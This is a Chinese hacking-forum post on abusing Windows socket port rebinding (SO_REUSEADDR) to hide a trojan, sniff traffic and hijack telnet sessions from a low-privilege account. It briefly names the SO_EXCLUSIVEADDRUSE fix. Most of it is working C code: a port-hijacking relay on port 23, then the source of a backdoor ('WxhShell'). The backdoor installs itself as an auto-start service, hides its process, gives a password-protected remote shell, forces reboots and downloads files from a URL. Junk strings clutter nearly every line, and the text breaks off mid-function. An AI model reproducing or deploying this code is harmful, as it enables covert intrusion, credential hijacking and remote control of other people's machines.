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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s;brs}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HQp\0NC]  
(g" {A  
  saddr.sin_family = AF_INET; JJ:pA_uX  
mJxr"cwHl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ML_$/  
%x'}aTa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ( p(/  
F u>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VSx9aVPkC  
H1GmC`\<[:  
  这意味着什么?意味着可以进行如下的攻击: 6a*?m{  
-L-#-dK'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $-D}y:  
R$XHjb)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1NAGGr00  
8H'ybfed  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oACbZ#/@n  
v)p'0F#6A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L@5sY0 M  
?^whK<"]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4,,DA2^!  
8Y]% S9.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i:a*6b.U@N  
Iuyq!R4:7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ! k[JP+;  
d*YVk{s7V  
  #include vjL +fH<0:  
  #include c@E;v<r'  
  #include lw]uH<v  
  #include    1[yy/v'q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9 NGKh3V  
  int main() jn 5v  
  { $7QGi|W*k  
  WORD wVersionRequested; /78zs-  
  DWORD ret; |oWl9j]Z  
  WSADATA wsaData; l4gF.-.GYF  
  BOOL val; !/ a![Ne  
  SOCKADDR_IN saddr; 7lx" X0w*m  
  SOCKADDR_IN scaddr; yV~TfTJ  
  int err; D6dliU?k  
  SOCKET s; qfkd Q/fP  
  SOCKET sc; qyBC1an5,  
  int caddsize; s TVX/Q  
  HANDLE mt; =F2`X#x_j  
  DWORD tid;   NXk~o!D  
  wVersionRequested = MAKEWORD( 2, 2 ); hj=qWGRgI  
  err = WSAStartup( wVersionRequested, &wsaData ); g~ii^[W  
  if ( err != 0 ) { d5>EvK U  
  printf("error!WSAStartup failed!\n"); y| 0!sNg  
  return -1; #bJp)&LO  
  } ?KB] /gT^  
  saddr.sin_family = AF_INET; m-qu<4A/U|  
   W ]$/qyc&J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 04WxV(fo'  
q;lR|NOh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <O1os"w  
  saddr.sin_port = htons(23); No8-Hm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m68>`  
  { K5rra%a-7  
  printf("error!socket failed!\n"); Z l;TS%$  
  return -1; m2H?VY .^K  
  } BoQ%QV69%  
  val = TRUE; aX~Jk >a0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Lu~E5 ,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jo?[M  
  { -dWg1`;  
  printf("error!setsockopt failed!\n"); v8WT?%  
  return -1; qw*) R#=  
  } @tJ4^<`P{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eZ$M#I=o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M KX+'p\w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /N({"G'  
:.tL~% q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U{KnjoS  
  { v`c;1?=,q  
  ret=GetLastError(); aM xd"cTzx  
  printf("error!bind failed!\n"); : h(Z\D_  
  return -1; n!.=05OtX  
  } Y]*&\Ex"\  
  listen(s,2); }a/z.&x]V  
  while(1) Q lA?dXQ  
  { IBvn q8\  
  caddsize = sizeof(scaddr); &]Uo>Gb3!q  
  //接受连接请求 dF09_nw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >&Oql9_  
  if(sc!=INVALID_SOCKET) z@ J>A![m  
  { ?:M4GY" gV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SSxz1y  
  if(mt==NULL) yoJ.[M4q  
  { $}r.fji,c  
  printf("Thread Creat Failed!\n"); ~#4FL<W  
  break; NjT*5 .  
  } /Wcx%P  
  } dA (n,@{  
  CloseHandle(mt); @tPr\F  
  } "OA{[)fw"  
  closesocket(s); \@yJbhk  
  WSACleanup(); _G-y{D_S&  
  return 0; ^-Ygh[x  
  }   y.I&x#(^  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1og+(m`BL  
  { WR`NISSp  
  SOCKET ss = (SOCKET)lpParam; "/RMIS K[;  
  SOCKET sc; ~".@;Q  
  unsigned char buf[4096]; _{; _wwz  
  SOCKADDR_IN saddr; ;x 2o|#`b  
  long num; {l5fKVb\C  
  DWORD val; G'p322Bu  
  DWORD ret; UKZ )Boo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \o/eF&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /gl8w-6  
  saddr.sin_family = AF_INET; gpf0 -g-X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \lm]G7h  
  saddr.sin_port = htons(23); q^sZP\i,*;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jwAYlnQ^EM  
  {  .gmS1ju  
  printf("error!socket failed!\n"); T@i* F M  
  return -1; 3(\D.Z  
  } PZJ9f8 V  
  val = 100; K)wWqC.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >;hAw!|#  
  { |idw?qCn  
  ret = GetLastError(); kyvl>I0q@  
  return -1; r~h#  
  } ni%)a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [2Zy~`*y{  
  { -,b+tC<V)0  
  ret = GetLastError(); `R: W5_n  
  return -1; 72"H#dy%U  
  } Vc;[0iB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7+hF1eoI  
  { e%L[bGW'  
  printf("error!socket connect failed!\n"); AQ@)'  
  closesocket(sc); ]#^v754X^T  
  closesocket(ss); 6(d6Uwc`  
  return -1; K_YOp1  
  } :,aY|2si  
  while(1) $8UW^#Bpq  
  { Vi-Ph;6[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A2:}bb~H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;]Q6K9.d8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }URdoTOvb  
  num = recv(ss,buf,4096,0); 3MNM<Ih  
  if(num>0) n.2:fk  
  send(sc,buf,num,0); o>,r<  
  else if(num==0) /CNsGx%%  
  break; wCNn/%C  
  num = recv(sc,buf,4096,0); y< *-&  
  if(num>0) aF^N  Ye  
  send(ss,buf,num,0); ^gvTc+|  
  else if(num==0) 2.niB>  
  break; ~ W8X g)  
  } px K&aY8  
  closesocket(ss); mXp#6'a  
  closesocket(sc); +|obU9M  
  return 0 ; /ki-Tha  
  } "Esl I  
F5 ]<=i  
"x=\mA#`  
========================================================== l EFd^@t  
Mi8)r_l%O  
下边附上一个代码,,WXhSHELL 3Vc}Q'&Y  
OA3J(4!"W  
========================================================== hbx4[Pf  
nTr%S&<+"  
#include "stdafx.h" W"vLCHTh  
49QsT5b)  
#include <stdio.h> ~hvj3zC5xz  
#include <string.h> )DXt_leLg  
#include <windows.h> JK =A=  
#include <winsock2.h> xyGwYv>*KO  
#include <winsvc.h> AuXUD9 -  
#include <urlmon.h> $3HqVqF^R  
/Pg)7Zn  
#pragma comment (lib, "Ws2_32.lib") gA(npsUHI  
#pragma comment (lib, "urlmon.lib") f $Agcy  
H<_Tn$<zH.  
#define MAX_USER   100 // 最大客户端连接数 V@`b7GM  
#define BUF_SOCK   200 // sock buffer J.1 c,@  
#define KEY_BUFF   255 // 输入 buffer >6 o <Q  
_:m70%i  
#define REBOOT     0   // 重启 dRron_'  
#define SHUTDOWN   1   // 关机 ZxnPSA@%  
ZR}v_]l^  
#define DEF_PORT   5000 // 监听端口 p2gdA J  
~][~aEat;V  
#define REG_LEN     16   // 注册表键长度 gLv+L]BnhH  
#define SVC_LEN     80   // NT服务名长度 |:R\j0t  
<=7nTcO~  
// 从dll定义API lz0-5z+\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); );.$  `0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I3nE]OcW@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b\(f>g[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h.vy SwF"j  
.4CDQ&B0K  
// wxhshell配置信息 MT>sRx #  
struct WSCFG { plWNuEW  
  int ws_port;         // 监听端口 ,zoHmV1Wd+  
  char ws_passstr[REG_LEN]; // 口令 lm4A%4-db  
  int ws_autoins;       // 安装标记, 1=yes 0=no B46:LQ9[  
  char ws_regname[REG_LEN]; // 注册表键名 ]vQa~}  
  char ws_svcname[REG_LEN]; // 服务名 /+92DV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,"`20.Lv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *U1*/Q.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w PR Ns9^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,'(|,f42  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _;PQt" ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yf:0u_&]  
kc2B_+Y1  
}; jv~#'=T'  
:5~Dca_iU4  
// default Wxhshell configuration y ~  K8  
struct WSCFG wscfg={DEF_PORT, `C>h]H(  
    "xuhuanlingzhe", ;&j'`tP  
    1, w]gLd  
    "Wxhshell", B1}i0pV,,  
    "Wxhshell", AJ/Hw>>$?m  
            "WxhShell Service", 55O}SUs!P  
    "Wrsky Windows CmdShell Service", %.$!VTO"  
    "Please Input Your Password: ", !hQ-i3?qm  
  1, IMD^(k 2  
  "http://www.wrsky.com/wxhshell.exe", M#^q <K %  
  "Wxhshell.exe" Lmjd,t  
    }; !6|_`l>G,  
cY!Y?O  
// 消息定义模块 R WY>`.su  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )2).kL>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^IiA(?8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %t&Lq }e  
char *msg_ws_ext="\n\rExit."; 0t!ZMH  
char *msg_ws_end="\n\rQuit."; [Z/P[370  
char *msg_ws_boot="\n\rReboot..."; bsu?Q'q  
char *msg_ws_poff="\n\rShutdown..."; |iJz[%  
char *msg_ws_down="\n\rSave to "; s>G6/TTH6  
O])vR<[  
char *msg_ws_err="\n\rErr!"; |h $Gs2  
char *msg_ws_ok="\n\rOK!"; +iN!$zF5]  
49E| f ^q  
char ExeFile[MAX_PATH]; ^kNVQJiZyG  
int nUser = 0; ;fqp!|J  
HANDLE handles[MAX_USER]; A&1EOQ=N  
int OsIsNt; 9ls1y=M8J  
;VCV%=W<  
SERVICE_STATUS       serviceStatus; Aa1#Ew<r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iOa<=  
aEdMZ+P.  
// 函数声明 [uqr  
int Install(void); E7h@c>IK  
int Uninstall(void); %tkqWK:  
int DownloadFile(char *sURL, SOCKET wsh); >%6j-:S  
int Boot(int flag); =4q5KI  
void HideProc(void); w:B&8I(n}w  
int GetOsVer(void); C|H`.|Q  
int Wxhshell(SOCKET wsl); C,;<SV2#  
void TalkWithClient(void *cs); q#Otp\f  
int CmdShell(SOCKET sock); ';.TQ_I7Y  
int StartFromService(void); |qpm  
int StartWxhshell(LPSTR lpCmdLine); r8R7@S2V'  
Q +hOW-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zk70D_}L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~xam ;]2  
*W2] Kxx*  
// 数据结构和表定义 aU +uPP  
SERVICE_TABLE_ENTRY DispatchTable[] = or ~@!  
{ dG3?(}p+  
{wscfg.ws_svcname, NTServiceMain}, _j$V[=kdM/  
{NULL, NULL} jMWTNZ  
}; RU.j[8N$  
k!qOE\%B  
// 自我安装 zGO_S\  
int Install(void) MAqETjB  
{ (q 7;/n  
  char svExeFile[MAX_PATH]; 9%k4Ic%P  
  HKEY key; 4u p7 :?  
  strcpy(svExeFile,ExeFile); =*4^Dtp  
JKYtBXOl  
// 如果是win9x系统,修改注册表设为自启动  r+]a  
if(!OsIsNt) { ,iiI5FR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q\~#cLJ/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Qpo[E }a  
  RegCloseKey(key); 2#`d:@r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,+Ya'4x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dg N #"  
  RegCloseKey(key); MmfshnTN  
  return 0; kYS\TMt,C  
    } }sZy|dd  
  }  !vr A\d  
} W.7u6F`  
else { {yBd{x<>/  
48GaZ@v  
// 如果是NT以上系统,安装为系统服务 huin?,eGz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9zehwl]~  
if (schSCManager!=0) 3z 5"Ckzb  
{ ]_ y;Igaj  
  SC_HANDLE schService = CreateService :d~&Dt<c  
  ( G)5Uiu:^X  
  schSCManager, [/cJc%{N  
  wscfg.ws_svcname, j~ qm5}  
  wscfg.ws_svcdisp, KC\W6|NtGj  
  SERVICE_ALL_ACCESS, y3 S T"U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , # b= *hi`E  
  SERVICE_AUTO_START, 7sJGB^vM  
  SERVICE_ERROR_NORMAL, i\L7z)u  
  svExeFile, oW/H8q<wY  
  NULL, $)O\i^T  
  NULL, YH[HJ#:7r  
  NULL, <,'^dR7,  
  NULL, WoMMAo~  
  NULL TkjZI}]2  
  ); ?rwHkPJ{*  
  if (schService!=0) fVBu?<=d  
  { A%#."2vq~  
  CloseServiceHandle(schService); 1w?DSHe  
  CloseServiceHandle(schSCManager); kh*td(pfP9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yH@2nAn  
  strcat(svExeFile,wscfg.ws_svcname); ViG-tb   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $5yH8JU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V_Y2@4  
  RegCloseKey(key); A `=.F  
  return 0; v/C*?/ ~  
    } oo,3mat2C  
  } oMZ|)(7C  
  CloseServiceHandle(schSCManager); ^F$iD (f  
} {&Sr<d5  
} WG*S:_?  
fxX4 !r  
return 1; 4}=Z+tDu>  
} vn=0=(  
RjQdlr6*  
// 自我卸载 2Y{r2m|o  
int Uninstall(void) [ U?a %$G>  
{ 5},kXXN{+  
  HKEY key; u'EzYJ7  
xYWg1e$k  
if(!OsIsNt) { -qndBS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <)9E.h  
  RegDeleteValue(key,wscfg.ws_regname); wrt^0n'r)c  
  RegCloseKey(key); XB-l[4?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }>u<,  
  RegDeleteValue(key,wscfg.ws_regname); f0lK ,U@P  
  RegCloseKey(key); &8wluOs/5  
  return 0; ) bGzsb1\  
  } ZnYoh/  
} )OcG$H NK  
} -nrfu)G  
else { \?.Tq24  
7Cj6Kw5k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g{06d~Y  
if (schSCManager!=0) 'xY@ I`x  
{ Nt'u;0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A `n:q;my  
  if (schService!=0) u0& dDZ  
  { +'!vm6  
  if(DeleteService(schService)!=0) { j8Csnm0  
  CloseServiceHandle(schService); j8ebVq  
  CloseServiceHandle(schSCManager); *6e 5T  
  return 0; Xz, sL  
  } oUwu:&<Orm  
  CloseServiceHandle(schService); :X6A9jmd  
  } 9>"To  
  CloseServiceHandle(schSCManager); ~?)ST?&  
} pP6pn~ }  
} FWbA+{8  
z2lEHa?w  
return 1; *Q8d &$ ^  
} bJE$>  
Qm\VZ<6/5  
// 从指定url下载文件 {~ngI<  
int DownloadFile(char *sURL, SOCKET wsh) w oqP&8a  
{ L>mv\D;o.  
  HRESULT hr; `)W}4itm  
char seps[]= "/"; jci'q=Vpu  
char *token; A,T3%TE  
char *file; -l!;PV S|  
char myURL[MAX_PATH]; `_;VD?")*l  
char myFILE[MAX_PATH]; An e.sS  
? N|B,F  
strcpy(myURL,sURL); sc! e$@U  
  token=strtok(myURL,seps); H[{ch t h  
  while(token!=NULL) [yF4_UoF  
  { p&L`C |0  
    file=token; .hCOi<wB  
  token=strtok(NULL,seps); ;Vad| -  
  } TY=BP!s  
UUx0#D/U0C  
GetCurrentDirectory(MAX_PATH,myFILE); RJ%~=D  
strcat(myFILE, "\\"); {qm(Z+wcmb  
strcat(myFILE, file); uL!{xuN  
  send(wsh,myFILE,strlen(myFILE),0); MOFIR wVZ+  
send(wsh,"...",3,0); yS#LT3>l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u=I>DEe@ c  
  if(hr==S_OK) zX!zG<<K  
return 0; i>S /W!F  
else ?.:C+*+  
return 1; rBP!RSl1  
@Zs}8YhC  
} :CN,I!:  
:_tsS)Q2m  
// 系统电源模块 1X/ q7lR  
int Boot(int flag) AO9F.A<T5  
{ w$7*za2  
  HANDLE hToken; DB yRP-TH  
  TOKEN_PRIVILEGES tkp; EM*YN=So  
a`CsLBv&  
  if(OsIsNt) { S)GWr"m-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S2" p(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n-dO |3,  
    tkp.PrivilegeCount = 1; Od'!v&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N`/6 By  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [t /hjm"$  
if(flag==REBOOT) { #5T+P8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]OHzE]Q  
  return 0; -lyT8qZ:(  
} ocy fU=}X  
else { R\+p`n$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C}+w<  
  return 0; !E> *Mn  
} a[)in ,3  
  } Xi5ZQo!t  
  else { '1=t{Rw  
if(flag==REBOOT) { g^1M]1.f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k oC2bX  
  return 0; :a3Pnq$]E  
} }}Eko7'^  
else { zHr1FxD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :h N*  
  return 0; Tm@mk  
} B[Uvj~g  
} F`U%xn,  
D2~e@J(K  
return 1; kVQKP  U  
} y-{^L`%Mk  
1A">tgA1  
// win9x进程隐藏模块 _5.^A&Y*  
void HideProc(void) :=^JHE{  
{ 6.2_UN^<  
Zo22se0)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zMKW@  
  if ( hKernel != NULL ) s*:J=+D]G  
  { Q! ]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RT8xU;   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S?*v p=  
    FreeLibrary(hKernel); v'S}&zmF]  
  } (J][(=s;a  
'i{kuTv  
return; $Dd IY}  
} q/?#+d  
4\Y2{Z>P?  
// 获取操作系统版本 I)]wi%  
int GetOsVer(void) NHUx-IqOX  
{ GNqw]@'Yf  
  OSVERSIONINFO winfo; N0sf V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E:f0NV3"1  
  GetVersionEx(&winfo); y1(smZU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^{_`jE  
  return 1; *;(LKRV  
  else gpe^G64c`  
  return 0; C 6ZM#}I$l  
} j>+x|!k  
k;R*mg*K  
// 客户端句柄模块 c</d1xT  
int Wxhshell(SOCKET wsl) "?EA G  
{ @U_w:Q<9u  
  SOCKET wsh; ~C{d2i  
  struct sockaddr_in client; +iir]"8  
  DWORD myID; ync2X{9D  
m\__Fl  
  while(nUser<MAX_USER) bg*4Z?[dd  
{ d Ayof=  
  int nSize=sizeof(client); d%\ {,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8 =FP92X  
  if(wsh==INVALID_SOCKET) return 1; ><viJ$i  
 Y5 $5qQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :se o0w]  
if(handles[nUser]==0) j` 9pZAF  
  closesocket(wsh); scCOiK)  
else ``)ys^V  
  nUser++; d,CtlWp  
  } 5*xk8*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9; HR  
F``$}]9KHD  
  return 0; ~EG`[cv  
} yo`Jp$G  
M2(+}gv;7p  
// 关闭 socket t>.mB@se|  
void CloseIt(SOCKET wsh) J4#t1P@Na  
{ X#j-Ld{j  
closesocket(wsh); hW$B;  
nUser--; r`pg`ChHv  
ExitThread(0); WLd{+y5#  
} w,cfSF;=tC  
Q<3=s6@T  
// 客户端请求句柄 +pZ, RW.D  
void TalkWithClient(void *cs) dElOy?v  
{ Xi^3o  
9}Ud'#E  
  SOCKET wsh=(SOCKET)cs; U8KB @E  
  char pwd[SVC_LEN]; l69&-Nyg  
  char cmd[KEY_BUFF]; o7)<pfif  
char chr[1]; o@mZ6!ax3  
int i,j; U:ggZ`.  
l5F>v!NA  
  while (nUser < MAX_USER) { 1{i)7 :Y  
I ugYlt  
if(wscfg.ws_passstr) { O}I8P")m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s!esk%h{K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gx ci  
  //ZeroMemory(pwd,KEY_BUFF); "K n JUXpl  
      i=0; D7H,49#1Q  
  while(i<SVC_LEN) { 0OO$(R*  
||a 5)D  
  // 设置超时 rVgz+'rFD[  
  fd_set FdRead; { </MC`  
  struct timeval TimeOut; aG.j0`)%  
  FD_ZERO(&FdRead); j&6'sg;n)  
  FD_SET(wsh,&FdRead); S=H<5*]g  
  TimeOut.tv_sec=8; 2?9 FFlX  
  TimeOut.tv_usec=0; NWWag}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V#["Z}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \g< 9_  
PPSf8-MLW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VU3xP2c:  
  pwd=chr[0]; ~WXT0-,  
  if(chr[0]==0xd || chr[0]==0xa) { '2mR;APz  
  pwd=0; _Mq0QQ42  
  break; _9!*laR!2  
  } =!u9]3)  
  i++; UmYReF<<_  
    } t)P5bQ+$u9  
,RIGV[u  
  // 如果是非法用户,关闭 socket r \+&{EEG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4+%;eY.A  
} os6p1"_\f  
d\C x(Lb[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H }w"4s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e=K2]Y Q{  
kXimJL_<g  
while(1) { ?w6zq|  
*)0bifw$&  
  ZeroMemory(cmd,KEY_BUFF); ,FR FH8p  
?mKj+ Bk2  
      // 自动支持客户端 telnet标准   7L~LpB  
  j=0; NX7(;02  
  while(j<KEY_BUFF) { \`?#V xz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~XAtt\WS  
  cmd[j]=chr[0]; tYV%izE  
  if(chr[0]==0xa || chr[0]==0xd) { LDlj4>%pW^  
  cmd[j]=0; [0|g3K !A  
  break; Pw:(X0@  
  } &"GHD{ix  
  j++; L4Ep7=  
    } p ;E zmz  
Z#7T!/28  
  // 下载文件 t}m6];  
  if(strstr(cmd,"http://")) { Ar&]/X,WG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y"qKe,  
  if(DownloadFile(cmd,wsh)) K..L8#SC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #N%ATV  
  else C =fs[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4M0 S+.  
  } 1Xy{&Ut\  
  else { Cb}hE ro  
A*l(0`aWq  
    switch(cmd[0]) { ECHl 9; +  
  vd7%#sHH&  
  // 帮助 i8R.Wl$l  
  case '?': { mq~rD)T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e*5TZ7.  
    break; d{_tOj$  
  } ' k~'aZ  
  // 安装 LL,&!KW[S  
  case 'i': { 4^H(p  
    if(Install()) @ yJ/!9?^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?D P]#9/4  
    else n]&/?6}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !>XG$-$`Z  
    break; TTjj.fq6  
    } `jY*0{  
  // 卸载 fuJ6 fmT  
  case 'r': { C~o6]'+F_  
    if(Uninstall()) X\3IY:Q@T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;jl!o$  
    else b 62 o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p"^^9'`=  
    break; uS :3Yo  
    } ) *:<3g!  
  // 显示 wxhshell 所在路径 =\s(v-8  
  case 'p': { x:8xGG9  
    char svExeFile[MAX_PATH]; ?_9cFo59:  
    strcpy(svExeFile,"\n\r"); >@^z?nb  
      strcat(svExeFile,ExeFile); ;p ~@*c'E  
        send(wsh,svExeFile,strlen(svExeFile),0); e* gCc7zz  
    break; \ B 0xL,o<  
    } x9r5 ;5TI  
  // 重启 vPuPSE%M  
  case 'b': { N*JWd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )mO|1IDTN  
    if(Boot(REBOOT)) :w_J/k5Zd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r.M8#YL  
    else { GRz`fO  
    closesocket(wsh); YIs(Q  
    ExitThread(0); cad1eOT'  
    } +) 2c\1  
    break; MNip;S_j  
    } r-]Au -  
  // 关机 jM1|+o*Wr  
  case 'd': { Cec!{]DL&  
